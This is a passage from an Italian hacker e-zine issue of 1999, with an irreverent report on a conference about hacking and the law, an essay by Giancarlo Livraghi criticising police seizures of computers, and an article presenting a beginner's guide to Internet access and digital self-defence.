(io non lo volevooo ero ubriacooooo!). Credo che ogni premessa sia assolutamente inutile, se volete sapere qualcosa a proposito di I..ludiamoci, la manifestazione che ospita al suo interno da 5 anni la conferenza di cui parlo, prego visitate http://www.olografix.org/iludiamoci99, e fatevi una cultura a proposito, e cercate anche di non mancare l'anno prossimo. BB: Purtroppo il presidente del CCC non e' potuto venire, sarebbe stato un bel confronto con l'ottimo Wau Holland, soprattutto dopo il CCC Camp, ove hanno partecipato alcuni nostri membri. A parte le camere pagate dall'associazione, segnate come doppie ma molto triple (e il non trascurabile fatto che ho dormito in un matrimoniale con Berry, fatto che si sarebbe ripetuto di li' ad un mese in occasione di SMAU) BB: Allo SMAU c'erano altre 10 persone che dormivano con noi, te ne sei forse dimenticato? Beh in effetti sul matrimoniale insieme a noi c'era Lo Smilzo, fattore da non trascurare cribbio, su NewBies5 hanno scritto anche un pezzo su quella serata hehe. L'inizio previsto per la conferenza era segnato come le 21:00 (aggiungeteci ritardi vari), ma noi eravamo in sala congressi una buona mezz'ora prima a conoscere i relatori. Scena: gruppo di BFi, amichevolmente ribattezzati 111, 112 e 113, Massarini (conduttore di Mediamente) come moderatore, Stefano Chiccarelli (presidente Metro Olografix), Andrea Monti (avvocato, alzi la mano chi non ha mai sentito il suo nome), Umberto Rapetto (tenente colonnello della GdF, ora delegato all'authority per le telecomunicazioni dalle parti di Roma), buon ultimo Giuseppe Corasaniti (magistrato... altro nome noto per i colpi di testa piu' che di sole). Tutta questa bella gentaglia (provate a distinguere i buoni dai cattivi) comodamente seduta nella hall dell'hotel che aveva messo a disposizione la sala congressi, discuteva tranquilla prima della conferenza. Un ottimo momento per carpire informazioni dai presenti soggetti 'istituzionali'. Pensieri sparsi: - Massarini di computers non capisce una cippa, abbiamo provato a spiegargli per 30 minuti che cosa fosse un exploit, e lui insisteva 'si' ok, ma le password?'. Sforzo inutile, meglio continui con l'auricolare come Ambra. - Corasaniti e' piu' che sovrappeso... ma siccome e' andato in pensione poco prima della conferenza mi sono permesso di guardarlo senza scoppiare a ridere. Le cose importanti comunque le ha dette durante il corso del dibattito, e non prima. BB: Cose importanti? Vuoi dire promesse mai mantenute? - Rapetto e' un personaggio, di quelli che parlano parlano per farti parlare parlare e poi te lo mettono al culo culo. Non si e' capito se scrive lui i testi per Beppe Grillo, o Grillo li scriva per lui. Comunque sia, spara stronzate da risata grassa a mo' di mitraglietta (scoop eccezionale, secondo la mia parrucchiera di fiducia che dice di conoscerlo a 20 anni quando era appena entrato nell'arma era un timidone). In ogni caso ora dovrebbe stare a Roma a rotolarsi in qualche ufficio ipertecnologico con la sua squadra, che non c'entra niente con il NOPT ma che in fin dei conti fa' le stesse cose. A sentir lui loro cercano terroristi e pedofili, e passano il tempo a fare cracking di mailbox vocali e PBX... ma si puo' credere a una persona del genere? [ndBB: io ci credo, in realta' mi passa gli alimenti :P ] L'unica cosa degna di nota emersa prima della conferenza e' un discorso, durato fra il resto pochissimo, sulla valenza dei log in tribunale e sulla responsabilita' dell'hacker vs. la responsabilita' del sysadmin in caso di intrusione ad un sistema. Pare che i log non valgano una cippa, se non sono intercettazioni autorizzate e controllate dalle autorita' di PS, e che, udite udite, in caso di intrusione in un sistema, il sysadmin ha la piu' grossa parte della colpa. L'esempio che Rapetto ci ha portato e' questo: immaginate una casa con un bel praticello da difendere... ci mettete un recinto alto 10 centimetri di quelli decorativi, o un muro bello alto e magari col filo spinato? Il succo di questo discorso e' che se un sistema non e' adeguatamente protetto, la responsabilita' cade su chi aveva il compito di proteggerlo. BB:Aggiungo con un po di notiziole prese qua e la dopo la serata. Nel bene e nel male quando qualcuno entra in un server e poi esce non e' per certi versi perseguibile. Ma se rovina irrimediabilmente i dati al suo interno (il che vuol dire che il root alla parola "Raid" risponde con "Antizanzare"), allora beh, questo e' una cosa GROSSA, al di la dei valori etici e della sicurezza o meno del server. Facce stupite e piuttosto titubanti dello staff bFI, conscio di trovarsi comunque davanti ad un pezzo grosso della finanza che puo' raccontare bene o male quello che vuole, per poi inkiappettarti allegramente alla prima occasione. BB:Ma non hai visto che aveva la mega spilla del Sisde? Ho passato tutta la sera con il cellulare smontato e cercando di vedere spuntare, da sotto il doppio petto grigio topo, una telecamera o un microfono :P Nel mentre la sala cominciava a riempirsi, e mentre noi conversavamo con gli altri relatori, Franko21 e Smilzo, di Metro Olografix, sistemavano le 3 macchine che sarebbero servite a simulare l'intrusione da cui prendere spunto per iniziare il dibattito. Presenti in massa, ovviamente, i soci Metro, molti giovani di provenienza ignota (molto probabilmente della razza Administer Sistemicus), giornalisti, e qualche persona-chicca, primo fra tutti nonno Giancarlo Livraghi, che se non sapete chi e' siete vissuti coi piccioni viaggiatori fino a ieri e che ha dato spettacolo nella discussione che ha seguito gli interventi dei relatori. Inizio della conferenza... introduce Stefano Chiccarelli (fra l'altro coautore con Monti del libro Spaghetti Hacker, edizioni Apogeo, http://www.spaghettihacker.it ), che grazie al tecnico franko21 exploita un NT con IIS4 in rete locale utilizzando l'ormai famosissimo exploit di eEye. La discussione parte tutta da qui. Calma piatta... e desiderio irresistibile di fumarsi una sigaretta. Mi sono trasferito quindi dietro al tavolo dei tecnici, per appizzare la stizza della tranquillita' e fare due chiacchiere in un posto piu' tranquillo che la prima fila della sala congressi (e a questo punto avrete capito che non stavo dietro al tavolo). BB: La ressa dietro al tavolo dei "tecnici"? Direi piutosto che era un gruppetto contenuto di persone che si e' scassata di stare a sentire Corasaniti che prometteva che non ci sarebbero + stati sequestri di computer. Diciamocelo queste sono le promesse che non vengono mai mantenute. Aggiungeteci anche che Corasaniti non si occupa piu' delle questioni informatiche, otterrete come risultato una marea di stronzate che vagano nella sala che vengono intercettate dall'ottimo Giancarlo Livraghi: GL> Mi scusi Corasaniti, ma se io vado a fare una ricerca "Corasaniti" sul sito de "La Repubblica" trovo due articoli scritti da lei, il primo intitolato "SEQUESTRIAMOGLI TUTTO" e il secondo "TANTO POI SE LO RICOMPRANO"! E da qui il BOATO, lo standing ovation a Livraghi, applausi, ole da stadio che durano per un buon 5 minuti. Il saggio ha parlato e le sue parole piovono come mattoni su Corasaniti, mentre 112 raccoglie i cocci di quello che rimane, intervenendo forse troppo avventatamente ma con la rabbia classica di quello che si e' "rotto" di sentire cose che poi non verranno messe in pratica. Segue il dibattito mentre Pappa e Ciccia, ovvero Corasaniti e Rapetto se ne stavano a parlare in disparte, scusandosi dopo essere stati rispresi come degli scolaretti, da un ragazzo di Infosfera(Bari) di cui non mi ricordo il nome (non me ne voglia) :) Termine dello show: quasi mezzanotte... ma al momento ancora non sapevamo che sarebbe seguita, per gli ospiti... BB: Breve ritrovo nella Hall dell'Hotel ove era avvenuta il dibattito. Vengo plakkato da Massarini che, vedendomi smanettare con lo Psion di \sPIRIT\ durante lo svolgersi della serata, mi dice piu' o meno cosi': M: Hei ma cosa stavi facendo con quell'affare? Sai avevo paura che mi teletrasportassi! Dopo aver comunicato un amaro sorriso, segue un breve scambio di mail, ma ormai non ci vedevo piu' dalla fame. LA CENA! A parte l'ora, e il fatto che ho disertato il tavolo ufficiale fin dall'inizio per evitare il menu e per mangiare hamburger in compagnia migliore, la cena e' stata, imho, ancora piu' interessante della conferenza stessa. Ho seguito poco dei discorsi che sono stati fatti e quindi ritengo piu' opportuno passare totalmente la palla a Black Berry, che sicuramente era piu' attento. Segnalo solo un paio di fatti curiosi: Rapetto e Corasaniti ubriachi che millantavano di aver hackato l'universo, Andrea Monti che consolava noi dello staff BFi per la magra figura fatta alla conferenza ("Non avevate speranze contro quegli animali da conferenza"), e Smilzo, che baciava tutti (mi sono salvato all'ultimo momento). Prego Berry :) -=> Bene Bene, visto che ho gia' inserito le mie note dentro il pezzo scritto dall'ottimo \sPIRIT\, ora mi accingero' a descrivere la cena.!BuRP** Immaginatevi una lunga tavolata di 14 persone, date un occhiata mentre state svolazzando sopra la tavola e vedete sul lato sinistro, il fior fiore di Olografix e di BFi, con me a capotavola e sul lato destro un pool (che quello di "mani pulite" a confronto sembra un gruppetto di bambini) con Corasaniti e Rapetto. Li' vicino Gandalf infiltrato :) Tensione totalmente assente, non si cercano contrasti di sorta, anche perche' "Non c'e' dialogo tra gli estremi". Al centro Andrea "CybLAW" Monti e Stefano "Neuro" Chiccarelli entrambi in dolce compagnia. Immaginatevi ora fiumi di ottimo vino pescarese, primi piatti, secondi... aggiungete anche che abbiamo iniziato a pasteggiare alle 24.00 e il divertimento e' assicurato, soprattutto quando si beve a stomaco vuoto! ;P 113 scannando il locale: "Ragazzi dopo l'Hacker e il magistrato ecco a voi, la Topa e il magistrato!" indicando una biondina seduta al tavolo accanto, che ha risposto con un sorriso enigmatico. Ma nessuno ci fece caso e la serata continuo'. Ad un certo punto 111 e 112 si imboscano da qualche parte, li avremmo visti dopo circa una mezzora, 111 con le occhiaie triplicate e 112 con i riccioli rilassati. :) Lo Smilzo viene costretto da me e \sPIRIT\ a porre delle domande calde a Corasaniti, bene cominciamo: 1.Come procede il Green Trap? C: Non e' piu' di mia competenza, ora e' passato tutto alle procure locali. 2.Quando inizieranno le indagini per Cis? C: Non sono di mia competenza. [NdBB: quindi le hanno gia' iniziate?] La cena si conclude poco dopo. Io e \sPIRIT\ torniamo in albergo (il mattino seguente dovevamo tornare velocemente a Rimini), mentre gli altri del BFi Staff continuano la nottata con i soci Olografix per poi finire in bellezza nella loro stanza a collassare. Li avremmo rivisti, tutti e 3 con gli occhiali scuri, all'ora di pranzo a Rimini. --- Ringraziamenti di \sPIRIT\: Vanno di dovere a Smilzo (per troppe cose), il Presidente di Olografix (per averci supportato nel miglior modo possibile), Ossian (per avermi tenuto a dormire una notte e per non aver fatto troppe domande), Vanadio e DoLD (per essere pazzi almeno quanto me), Nhaima (lei sa perche' :* ), smaster (per la pazienza di santo che ha avuto questa volta). Ringraziamenti di Black Berry: Inizialmente un abbraccio a tutta Olografix e allo staff di I...ludiamoci 99, che ci hanno ospitato, un saluto in ordine del tutto casuale vanno a: Franko21, Naild0d, Smilzo, William Maddler, Neuro, CybLAW, Molder e consorte (che si sono spastrukkiati per tutta la sera), Sliver, o2, Naif e in particolare i ragazzi della stanza 101 (111, 112 e 113) che mi hanno fatto entrare nonostante le mie password pornografiche non permettessero l'accesso. Buon Natale o Buon Anno nuovo (se non siete rimasti in ditta a patchare gli applicativi e i databases eheh eheh). ============================================================================== --------------------------------[ EOF 20/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-21100777 1750 144 23375 7031215207 11770 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 21 di 22 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ SEQUESTRi Di C0MPUTER - G. Livraghi Sequestri di computer: gli abusi continuano e (quasi) nessuno ne parla E' clamoroso e colpevole il silenzio dei grandi mezzi d'informazione sul perpetuarsi di queste ingiustificate violenze; come delle autorita' politiche e dei legislatori che non solo non fanno nulla per porre termine agli abusi, ma continuano ad aggravare la situazione. Giancarlo Livraghi gian@gandalf.it - 26 luglio 1999 ---------------------- Si parla tanto di diritti civili, di malfunzionamento della giustizia; e anche di sottosviluppo italiano in fatto di informatica e telematica. Ma c'e' un problema grave che continua a essere ignorato dai grandi mezzi di informazione e dal mondo politico e non seguito neppure nel mondo della rete con l'attenzione che merita. Il ricorrente, intollerabile abuso dei sequestri di computer. Si parla ogni tanto di un singolo episodio, ma poi tutto cade nel dimenticatoio; e intanto la persecuzione continua. Credo che pochi ormai ricordino l'ondata di sequestri che afflisse le reti telematiche in Italia nel 1994. Ma e' ancor meno capito e percepito il fatto che quell'assurda e ingiustificabile violenza continua a ripetersi, nel disinteresse generale; sembra che l'unica ad occuparsene sia ALCEI (http://www.alcei.it). Il crackdown del 1994 ebbe una certa eco internazionale, per la sua insolita dimensione e violenza. Bruce Sterling, autore di un classico sull'argomento (Hacker Crackdown, 1992) osservo' che quella italiana era la piu' grande e scatenata operazione del genere in tutto il mondo, piu' grave e piu' estesa anche della famosa repressione del 1990 negli Stati Uniti. Le due operazioni erano molto diverse. Mentre quella americana si basava sulle (vere o presunte) attivita' di hacker, e su un immaginario rischio di attivita' politico-terroristiche (compreso il caso clamoroso della persecuzione giudiziaria di un editore di giochi di strategia) quella italiana partiva da un tema piu' pedestre: l'uso di software non registrato. Naturalmente c'erano davvero alcuni BBS che trafficavano in software copiato; sarebbe stato facile identificarli senza perseguitare mezzo mondo, ma alcuni pretori (partendo da Pesaro e Torino) pensarono che fosse un'interessante occasione di protagonismo occuparsi di questa cosa strana e sconosciuta, la comunicazione elettronica. Il risultato fu un'ondata di sequestri e di persecuzioni poliziesche, che sparse il terrore nell'allora ristretto mondo della telematica italiana (benche' fosse piccolo rispetto all'attuale diffusione dell'internet, aveva una dimensione non trascurabile: in Italia c'erano duemila BBS). Una delle conseguenze di quella malaugurata operazione e' la convinzione, ancora diffusa in alcuni ambienti internazionali, che si trattasse di censura; l'Italia e' citata qua e la' fra i paesi in cui il governo censura la rete, mentre la mega-repressione del 1994 aveva tutt'altri motivi. Perche' riparlarne oggi? Perche' il sopruso continua, su scala ancora piu' estesa; e mentre corrono fiumi d'inchiostro sulla rete, spesso dedicati ad argomenti irrilevanti, questa grave situazione continua a sfuggire sia ai grandi mezzi d'informazione, sia alle autorita' che dicono di voler favorire la diffusione dell'informatica e della rete ma, in questo come in altri casi, fanno il contrario. Una delle radici del male sta in un'assurda legislazione che considera il possesso e l'uso di software non registrato come un reato penale, perseguibile d'ufficio. Alcune sentenze avevano interpretato la legge in modo piu' sensato, di fatto considerando perseguibile il commercio di software copiato ma non il puro e semplice possesso; i nostri legislatori anziche' agire in questa sensata direzione hanno fatto l'opposto, cioe' hanno inasprito i rigori. Inoltre, quando si e' deciso di "depenalizzare" una serie di "reati minori", ci si e' "dimenticati" di eliminare la stortura che sottopone a regime penale cio' che al massimo e' la violazione di un contratto privato. Mi sembra fondato il sospetto che queste anomalie siano dovute alle potenti lobby dei discografici, dei produttori di film e dei produttori di software, mentre nessuno si preoccupa di proteggere da inaudite persecuzioni cittadini innocenti (o tutt'al piu' "colpevoli" di non aver rispettato tutte le clausole di un contratto di licenza). Ma il problema di cui parlo qui e' un altro. Indipendentemente dal motivo per cui viene condotta un'indagine, e' illegittimo e ingiustificato sequestrare computer o hard disk; o addirittura stampanti, modem e altre "periferiche"... dischetti e cd (anche di cose perfettamente legittime)... talvolta perfino i tappetini dei mouse. Qual e' il problema? La sostanza e' semplice. Una persona, sospettata di qualcosa o anche solo coinvolta per caso o per sbaglio in un'indagine, si vede privare di strumenti di lavoro e di vita. (Ci sono addirittura situazioni in cui qualcuno si e' trovato con un computer sequestrato solo perche' l'aveva portato a riparare in un negozio coinvolto in qualche indagine e poi si e' visto anche arrivare la polizia in casa). Per motivi che variano dalle accuse piu' gravi (ma spesso risulta che gli indagati sono innocenti) al banale acquisto sul mercato di un gioco o di un piccolo software che qualcuno vendeva senza autorizzazione. Il danno e' enorme. Le vittime sono terrorizzate, non capiscono quale sciagura o persecuzione si stia abbattendo su di loro, ne' perche'. Spesso i legali cui si affidano sono impreparati e non sanno come difendere i perseguitati, ne' come ottenere un sollecito dissequestro. (Di questo argomento si e' gia' parlato altre volte: vedi per esempio la lista di link alla fine di questo articolo). Questi sequestri sono necessari per il corretto svolgimento delle indagini? Certamente no. Come dimostrato dal fatto che ci sono alcuni magistrati "illuminati" che conducono le loro indagini senza mai disporre un sequestro. Sono accettabili e giustificabili? Decisamente no. Sono un'assurda violazione dei diritti dei cittadini e anche di alcune leggi fondamentali: per esempio degli articoli 4, 14, 15, 35 e 41 della Costituzione italiana, della convenzione internazionale per la salvaguardia dei diritti dell'uomo e del codice di procedura penale (come fu chiarito gia' quattro anni fa in un comunicato di ALCEI) (http://www.alcei.it/news/sequestr.htm). Nonostante questi evidenti fatti, l'abuso continua, e le dimensioni del fenomeno sono impressionanti. Una recente dichiarazione della Guardia di Finanza ha parlato di 2000 sequestri nel corso di una sola indagine - e ce ne sono molte altre. Un fatto sconcertante e' che non solo le "forze dell'ordine" continuano in questo comportamento assurdo e incivile, ma addirittura se ne vantano. Altrettanto impressionante e' il silenzio dei "mass media". Di sequestri si parla solo in occasione di qualche inchiesta che suscita la curiosita' della stampa (perche' si tratta di piu' o meno immaginari o sopravvalutati casi di "intrusione" o di temi ad alto contenuto emozionale, come la "pedofilia") e senza mai chiedersi se sono legittimi o giustificati. Uno dei fenomeni piu' clamorosi di disinformazione fu la spudorata vanteria, nel settembre 1998, di un ufficio di polizia che volle far credere di aver debellato la pedofilia quando furono incriminate quattro (letteralmente quattro) persone accusate di fare collezione di fotografie piu' o meno disgustose di bambini e minorenni e di usare l'internet per scambiarsi quel sordido materiale. Si e' gia' parlato dell'incredibile clamore suscitato da quella minuscola indagine. Fra l'altro di quella, come di tante altre vicende, non si conosce il seguito: nessuno ha pubblicato notizie sull'esito dei processi. Sul problema dei sequestri continua a esserci una coltre di silenzio e non e' facile capire perche'. Paura, ignoranza, connivenza? Davvero la nostra stampa e' cosi' asservita ai grandi interessi economici, o cosi' spaventata all'idea di criticare un magistrato o un poliziotto, che lo fa solo quando gli interessi "lesi" sono quelli di persone potenti o famose? Perche' un dettaglio in un'indagine a carico di un parlamentare o di un'altra persona "in vista" scatena crisi politiche e fiumi d'inchiostro, mentre di migliaia di cittadini ingiustamente perseguitati non si occupa nessuno? Puo' essere considerato civile e "avanzato" un paese in cui il semplice fatto di possedere un computer, e di essere collegati alla rete, puo' portarci ad essere svegliati alle sei di mattina da bande di uomini armati, trattati come pericolosi assassini e privati senza motivo di strumenti fondamentali di vita e di lavoro? Sarebbe interessante se qualcuno, nel mondo politico o giudiziario o nei grandi mezzi di informazione, ci desse una risposta che stiamo aspettando da cinque anni. -------------------- Alcuni link su questo argomento: Centinaia di innocenti legati, bendati e imbavagliati dalla polizia http://www.alcei.it/news/sequestr.htm Sequestri di computer: lo scandalo continua http://www.alcei.it/sequestri/cs990615.html Diritti d'autore e sequestri di computer http://www.alcei.it/sequestri/9903_dirautore_sequestri.htm J'accuse http://gandalf.it/garbugli/garb22.htm Pericolo: sequestratori in agguato http://gandalf.it/free/sequest.htm Mamma, li Turchi http://gandalf.it/free/turchi.htm Le vittime silenziose http://gandalf.it/free/vittime.htm Tre facce della barbarie http://gandalf.it/free/trefacce.htm ============================================================================== --------------------------------[ EOF 21/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-22100777 1750 144 31610 7031215207 11760 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 22 di 22 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ ST0RiA Di UN P0RTALE MUTANTE - Ferry Byte Credo che molte delle persone che si sono aprocciate alla telematica appena cominciano a capirci qualcosa di bit & bytes attraversano un periodo in cui si sentono in dovere di dover divulgare all'umanita' quel poco che hanno imparato credendo con pre-supponenza che siano cose rarissime ed importantissime. Almeno a me e' capitato. Pur essendo uno storico imbranato, anni di applicazioe su modems ed affini mi hanno convinto in un certo periodo della mia esistenza telematica che parte di quello che avevo imparato dovesse diventare patrimonio dell'umanita' ed e' stato in quel periodo che mi e' venuto in mente di mettere in linea una guida che ha il nome attuale di post_aXion MUTANTE ed e' reperibile agli indirizzi http://www.ecn.org/mutante http://strano.net/mutante Come allude il sottotitolo liberamente tradotto frammenti e trame di autonomia digitale (SUPER-ClientInternetUserKit) sono appunti sparsi, potenzialmente utili per chi si approccia per la prima volta e dal lato client alla Rete e particolarmente incentrati sugli argomenti riguardanti l'ACCESSO; le UTILITIES, l'E-MAIL e l'AUTODIFESA*DIGITALE. La documentazione che vado ad illustrare e di cui racconto brevemente la genesi rappresenta una serie di info e links che un tempo pensavo utili ai piu'. Ora, dopo altri anni di testate nei muri, ma anche soddisfazioni strappate al mondo della telematica non sono piu' convinto che siano coordinate indispensabili al popolo della Rete, ma piu' semplicemente una serie di risorse che mi fa' comodo avere in linea per il mio lavoro e soprattutto per il mio cyber-attivismo all'interno del percorso di Isole nella Rete (http://www.ecn.org) e sTRANOnETWORK (http://strano.net). Occasionalmente mi capita di incrociare qualcun* che pur trovando difficolta' ad orientarsi nel mio rozzo html ne apprezza il contenuto informativo: spero che capiti anche a qualche lettore di questa recente, ma gia' mitica "fanzine" ed e' per questo che mi accingo ad illustrare questo che vuole essere un "portale mutante" e come - sempre con l'aiuto di qualche persona piu' esperta di me o raramente grazie a sperimentazioni e navigazioni personali - sono arrivato a scegliere (con la preziosa collaborazione e supervisione del leggendario netdiver) questa ristretta selezione di links ed informazioni che secondo la mia modesta personale opinione rappresenta il minimo indispensabile per orientarsi e sopravvivere nella Rete dalla parte di chi la vive dal lato "client", ovvero come utente finale. In una prima versione di questo articolo avevo quotato interamente il documento in oggetto aggiungendo qualche commento, a posteriori e su suggerimento di black berry invito le persone interessate a sfogliare direttamente in Rete l'ultima versione aggiornata di questa "guida mutante" e al posto delle numerose quotazioni aggiungo qualche motivazione in piu' rispetto al perche' sia stato scelto di riportare tale info o tal'altro link. Aver militato per anni all'interno del gruppo di lavoro sulla comunicazione sTRANOnETWORK mi e' servito per convincermi di una cosa: le varie pubblicita' di INTERNET GRATIS sono assolutamente false. Per accedere alla Rete sono necessarie almeno 4 tipi di risorse: CONOSCENZA, HARDWARE, SOFTWARE e BANDA e per questo ho cercato di indicare alcuni links utili se non per reperire queste risorse almeno per approfondire la conoscenza rispetto alla necessita' di reperire le stesse. La rete puo' essere sicuramente utile per reperire documentazione di tutti i tipi, da come cercare di prendere confidenza con l'html a come preoccuparsi di fare pagine web accessibili anche a persone disabili, directories di software e risorse free oramai abbondano mentre invece rimane ancora indispensabile presentarsi di persona abbanondonando tastiera e modems se si vuole approfittare del servizio di baratto hardware (le famigerate banche degli organi) organizzate dagli hacklab locali. Puo' essere utile avere un bookmark ben presente di servizi istituzionali (per consultazione di databases e richiesta di attivazioni servizi ufficiali) cosi' come e' indispensabile seguire da vicino servizi di aggiornamento informativo specializzati sui vari argomenti e quello che hanno da dire le svariate anime dell'associzionismo e dell'autorganizzazione come i gia' citati Isole nella Rete e sTRANOnETWORK, ma anche gli altrettanto validi NODO50, TMCREW oppure HACK~LAB-FIRENZE. Credo sia importante per chi accede alla Rete all'inizio prendere dimestichezza con i concetti di dominio e porte ed avere a mente quelli che sono i programmi piu' utili e ricorrenti nelle attivita' di Rete e per questo ho riportato un elenco delle "porte" principali utilizzate dai servizi di Rete cosi' come la traduzione dei domini geografici. Sono anche queste nozioni banali per (g)l* "spippolon*", ma piu' di una volta mi e' stato utile consultare in Rete al volo cosa ci puo' essere su tale porta o a quale "paese" corrisponde il dominio TV. Far veder girare un traceroute (il comando e' tracert sotto win) e' la maniera piu' semplice per risparmiare un sacco di discorsi quando ti viene chiesto sulla struttura gerarchica e allo stesso tempo reticolare di Internet. E' buffo come la posta elettronica rimanga, malgrado i ricorrenti e roboanti annunci di nuovi servizi multimediali-interattivi, la forma piu' popolare e affezionata di accedere alla Rete. Credo, ed e' un buon segnale, sia dovuto alla innata voglia di comunicare dell'essere umano che seppur con strumenti diversi continua a trovare molto gratificante prendere "carta e penna" e scrivere ad una persona amica. Conoscere quindi i "fondamentali" della posta elettronica (come ad esempio far funzionare bene le modalita' di accesso con i protocolli pop e smtp) rimane sicuramente uno dei primi passi da compiere per chi si approccia alla Rete. La mailing-list, poi, penso sia una delle forme piu' coinvolgenti di seguire la Rete. Partecipare assiduamente ai dibattiti in una m-l da' un senso di comunita' e di complicita' con le persone coinvolte che e' estremamente intrigante e soddisfacente. Una delle cose piu' divertenti, IMHO, dell'uso della posta elettronica e' prendere conoscenza dell'esistenza della mail-art. Avete mai provato bb? Avete mai consultato un archivio di ascii-art ed apprezzato le innumerevoli opere d'arte di questa arte "povera"? Avete mai fatto la corte a qualche persona di cui vi siete innamorat* tempesandola di sms e disegni in ascii? Conoscete la differenza fra mandare in duomo a lettere minuscole e seguito da una faccina che strizza l'occhio e farlo in CAPS LOCK e senza faccina diplomatica? No? Allora vi siete persi un pezzo d'*espressionismo telematico*, aggiornatevi perche' utilizzare e/o inventarsi le ascii-art e' una delle maniere piu' divertenti ed efficaci di utilizzare la posta elettronica ;-) (=faccina che sorride e strizza l'occhio;-) Anche se fanno parte di un "vecchio" (?) e low-tech modo di approcciarsi alla telematica esistono delle procedure semplici ed ancora efficaci per utilizzare la posta elettronica anche per interagire con altri servizi in Rete come sms, archie, fax ecc. Ovviamente, nella sezione utilities non poteva essere che linux la prima "cosa" utile ad essere indicata, essendo il sistema operativo che ha tutte le carte in regola per giocarsi una scommessa molto importante in un futuro prossimo: dimostrare che i meccanismi di autogestione ed autorganizzazione in rete sono molto piu' efficienti di qualsiasi altro tipo di organizzazione verticistica e commerciale. Nella sezione UTILITIES prendono buono spazio i Motori di ricerca, strumenti molto utilizzati, ma le cui implicazioni comunicative finali sono molto sottovalutate. La ricerca di informazione in Rete e' sicuramente una delle attivita' piu' svolte normalmente, ma e' anche vero che spesso e volentieri e' affrontata con molta superficialita' e ignoranza. Fare una ricerca con altavista non vuol dire consultare *tutta* la rete ed in tempo reale, ma solo un pezzo della rete indicizzata a priori secondo settaggi pre-definiti e tutto cio' puo' anche essere definito come una maniera indiretta di "filtrare" una buona parte dell'accesso all'informazione della Rete. Sarebbe importante reclamare il diritto di sapere per ogni motore di ricerca quali siti (domini) sono stati indicizzati, con che frequenza, di che tipo, che percentuale rispetto al totale della rete (si ipotizza il 16% rispetto quelli piu' potenti) ecc. ecc. Cosi' come sarebbe importante - e sta succedendo qua' e la' - promuovere iniziative alternative che magari vadano solo a coprire settori particolari dell'informazione, ma in maniera piu' trasparente ed esplicita. Oramai esistono programmi e interfacce in Rete che consentono di fare le cose piu' utili ma anche bizzarre, dalle classiche funzioni di trasferimento e browsing a quelle piu' bizzarre di spedire e-mail a persone tramite servizi postali tradizionali oppure consultare l'e-mail attraverso servizi di fonia vocale. Spedire un messaggio sms in tempo (quasi) reale o avventurarsi (banda permettendo) in audio-chat o telefonate vere e proprie attraverso servizi gratuiti o a pagamento (ma sempre ribassati rispetto alla media vampiresca delle zie telecom) basati sul tcp/ip puo' essere un esperimento interessante da fare ed una maniera di risparmiare che non fa' mai male alla tasca e al cuore... L'ultima sezione di questo portale mutante e' dedicata al tema, molto impegnativo, dell'autodifesa*digitale. Anche su questo argomento, particolarmente complesso, si e' cercato di dare delle info di base e soprattuto indicare quelle ml, quegli archivi web, quei newsgroups che meglio seguono il tema della sicurezza "lato client" anche perche' seguire il dibattito in corso rimane la scelta piu' logica rispetto ad un argomento come questo che e' in continuo cambiamento. Il tema dell'autodifesa digitale e' uno dei piu' delicati da affrontare anche perche' non esiste programma o sistema di protezione che si puo' definire assolutamente sicuro, anche se i sistemi di crittografia a chiave pubblica di tipo robusto sono universalmente riconosciuti come inattaccabili e quindi usati nelle varie forme (ssh, ssl, pgp ecc.) per tutelare vari canali di comunicazione in Rete. La presa di coscienza di quello che si sta facendo e' la forma di difesa piu' valida. Comunque alcune info riguardanti alcune procedure di controllo intrinseche della rete (monitoraggio ip) o di alcuni suoi servizi principali (cookies rispetto al web) ecc. sono fornite nella speranza di veicolare alcune conoscenze di base in tema di sicurezza al fine di debellare il pericolo crescente (visto la grande quantita' di persone che si sta' affacciando alla Rete) di avere la maggior parte delle persone "naviganti" con un approccio simil-televisivo... La necessita' di essere "anonimi" non e' solo un'esigenza di sicurezza, ma anche un buon esercizio per prendersi ogni tanto "poco sul serio" (che fa' sempre bene) e giocare ad assumere un'identita' diversa da quella indotta dalla' cosiddetta "realta'". Giocare su come presentarsi "agli altri" puo' essere considerato una maniera curiosa di modificare lo stato di cose presenti, rapporti con il prossimo inclusi... Un problema particolare e' quello rappresentato dallo spam. Ricevere e-mail indesiderata (=spam) non e' mai troppo piacevole, soprattutto in quei casi in cui la banda viene pagata di tasca propria. Alcuni comunque obiettano che filtrare lo spam e' comunque una scusa per censurare e che la paura dello spam venga divulgata ad arte per favorire procedure di filtraggio dei contenuti informativi che circolano nella Rete. Per buon ultimo, viene riportato in post_aXion MUTANTE, una pratica di mobilitazione in rete che in primo luogo vuol essere un invito al popolo della Rete ad interpretare le possibilita' interattive della telematica anche per motivi di mobilitazioni collettive in caso di ingiustizie e soprusi magari perpretati contro chi, un attimino piu' sfortunat* di noi, deve preoccuparsi come mettere insieme il pranzo con la cena o sfuggire al "missile" di turno; perche' la volonta' di essere solidali con i propri simili, la capacita' di reagire alle ingiustizie e l'aspirazione a fomentare movimenti di liberazione in senso lato sono sentimenti che vale la pena difendere-diffondere-coltivare con ogni mezzo possibile, modems o schede di rete incluse.... ;-) fERRY di SN Key fingerprint = A5 F9 A5 D3 35 70 BF 25 25 90 C1 18 ED B8 AC 64 ,::. n-:;:;.' http://strano.net/cyber-rights /_\ `;:.' |~~~| ``' |~~~| |___| ============================================================================== --------------------------------[ EOF 22/22 ]--------------------------------- ==============================================================================